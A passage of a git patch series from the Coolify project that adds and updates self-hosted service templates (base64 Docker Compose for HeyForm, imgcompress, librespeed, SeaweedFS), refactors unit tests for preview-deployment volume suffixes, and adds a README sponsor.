lOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php index 367770b08..0bf23e4e3 100644 --- a/tests/Unit/PreviewDeploymentBindMountTest.php +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -3,107 +3,174 @@ /** * Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments. * - * Bind mount volumes use a per-volume `is_preview_suffix_enabled` setting to control - * whether the -pr-N suffix is applied during preview deployments. - * When enabled (default), the suffix is applied for data isolation. - * When disabled, the volume path is shared with the main deployment. - * Named Docker volumes also respect this setting. + * Behavioral tests for addPreviewDeploymentSuffix and related helper functions. + * + * Note: The parser functions (applicationParser, serviceParser) and + * ApplicationDeploymentJob methods require database-persisted models with + * relationships (Application->destination->server, etc.), making them + * unsuitable for unit tests. Integration tests for those paths belong + * in tests/Feature/. */ -it('uses is_preview_suffix_enabled setting for bind mount suffix in preview deployments', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('addPreviewDeploymentSuffix', function () { + it('appends -pr-N suffix for non-zero pull request id', function () { + expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3'); + }); - // Find the bind mount handling block (type === 'bind') - $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); - $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); - $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); + it('returns name unchanged when pull request id is zero', function () { + expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume'); + }); - // Bind mount block should check is_preview_suffix_enabled before applying suffix - expect($bindBlock) - ->toContain('$isPreviewSuffixEnabled') - ->toContain('is_preview_suffix_enabled') - ->toContain('addPreviewDeploymentSuffix'); + it('handles pull request id of 1', function () { + expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1'); + }); + + it('handles large pull request ids', function () { + expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999'); + }); + + it('handles names with dots and slashes', function () { + expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2'); + }); + + it('handles names with existing hyphens', function () { + expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5'); + }); + + it('handles empty name with non-zero pr id', function () { + expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1'); + }); + + it('handles uuid-prefixed volume names', function () { + $uuid = 'abc123_my-volume'; + expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7'); + }); + + it('defaults pull_request_id to 0', function () { + expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume'); + }); }); -it('still applies preview deployment suffix to named volume paths', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('sourceIsLocal', function () { + it('detects relative paths starting with dot-slash', function () { + expect(sourceIsLocal(str('./scripts')))->toBeTrue(); + }); - // Find the named volume handling block (type === 'volume') - $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); - $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + it('detects absolute paths starting with slash', function () { + expect(sourceIsLocal(str('/var/data')))->toBeTrue(); + }); - // Named volumes SHOULD still get the -pr-N suffix for isolation - expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + it('detects tilde paths', function () { + expect(sourceIsLocal(str('~/data')))->toBeTrue(); + }); + + it('detects parent directory paths', function () { + expect(sourceIsLocal(str('../config')))->toBeTrue(); + }); + + it('returns false for named volumes', function () { + expect(sourceIsLocal(str('myvolume')))->toBeFalse(); + }); }); -it('confirms addPreviewDeploymentSuffix works correctly', function () { - $result = addPreviewDeploymentSuffix('myvolume', 3); - expect($result)->toBe('myvolume-pr-3'); +describe('replaceLocalSource', function () { + it('replaces dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('./scripts'), str('/app')); + expect((string) $result)->toBe('/app/scripts'); + }); - $result = addPreviewDeploymentSuffix('myvolume', 0); - expect($result)->toBe('myvolume'); + it('replaces dot-dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('../config'), str('/app')); + expect((string) $result)->toBe('/app./config'); + }); + + it('replaces tilde prefix with target path', function () { + $result = replaceLocalSource(str('~/data'), str('/app')); + expect((string) $result)->toBe('/app/data'); + }); }); /** - * Tests for GitHub issue #7343: $uuid mutation in label generation leaks into - * subsequent services' volume paths during preview deployments. + * Source-code structure tests for parser and deployment job. * - * The label generation block must use a local variable ($labelUuid) instead of - * mutating the shared $uuid variable, which is used for volume base paths. + * These verify that key code patterns exist in the parser and deployment job. + * They are intentionally text-based because the parser/deployment functions + * require database-persisted models with deep relationships, making behavioral + * unit tests impractical. Full behavioral coverage should be done via Feature tests. */ -it('does not mutate shared uuid variable during label generation', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('parser structure: bind mount handling', function () { + it('checks is_preview_suffix_enabled before applying suffix', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Find the FQDN label generation block - $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); - $labelBlock = substr($parsersFile, $labelBlockStart, 300); + $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); - // Should use $labelUuid, not mutate $uuid - expect($labelBlock) - ->toContain('$labelUuid = $resource->uuid') - ->not->toContain('$uuid = $resource->uuid') - ->not->toContain("\$uuid = \"{$resource->uuid}"); + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('applies preview suffix to named volumes', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + + expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + }); }); -it('uses labelUuid in all proxy label generation calls', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('parser structure: label generation uuid isolation', function () { + it('uses labelUuid instead of mutating shared uuid', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Find the FQDN label generation block (from shouldGenerateLabelsExactly to the closing brace) - $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); - $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); - $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); - // All uuid references in label functions should use $labelUuid - expect($labelBlock) - ->toContain('uuid: $labelUuid') - ->not->toContain('uuid: $uuid'); + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain('$uuid = "{$resource->uuid}'); + }); + + it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); + }); }); -it('checks is_preview_suffix_enabled in deployment job for persistent volumes', function () { - $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); +describe('deployment job structure: is_preview_suffix_enabled', function () { + it('checks setting in generate_local_persistent_volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - // Find the generate_local_persistent_volumes method - $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); - $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); - $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); - // Should check is_preview_suffix_enabled before applying suffix - expect($methodBlock) - ->toContain('is_preview_suffix_enabled') - ->toContain('$isPreviewSuffixEnabled') - ->toContain('addPreviewDeploymentSuffix'); -}); - -it('checks is_preview_suffix_enabled in deployment job for volume names', function () { - $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - - // Find the generate_local_persistent_volumes_only_volume_names method - $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); - $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); - $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); - - // Should check is_preview_suffix_enabled before applying suffix - expect($methodBlock) - ->toContain('is_preview_suffix_enabled') - ->toContain('$isPreviewSuffixEnabled') - ->toContain('addPreviewDeploymentSuffix'); + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('checks setting in generate_local_persistent_volumes_only_volume_names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); }); From b448322a0c371a17fb696f28bfeb298350a68201 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:22:42 +0100 Subject: [PATCH 34/51] docs(sponsors): add ScreenshotOne as a huge sponsor --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b2d622167..b7aefe16a 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,7 @@ ### Huge Sponsors * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API +* [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs * ### Big Sponsors From 6325e41aec29e5e02e16f0b8df0dbc1ae5b38531 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:27:10 +0100 Subject: [PATCH 35/51] fix(ssh): handle chmod failures gracefully and simplify key management - Log warnings instead of silently failing when chmod 0600 fails - Remove redundant refresh() call before SSH key validation - Remove storeInFileSystem() call from updatePrivateKey() transaction - Remove @unlink() of lock file after filesystem store - Refactor unit tests to use real temp disk 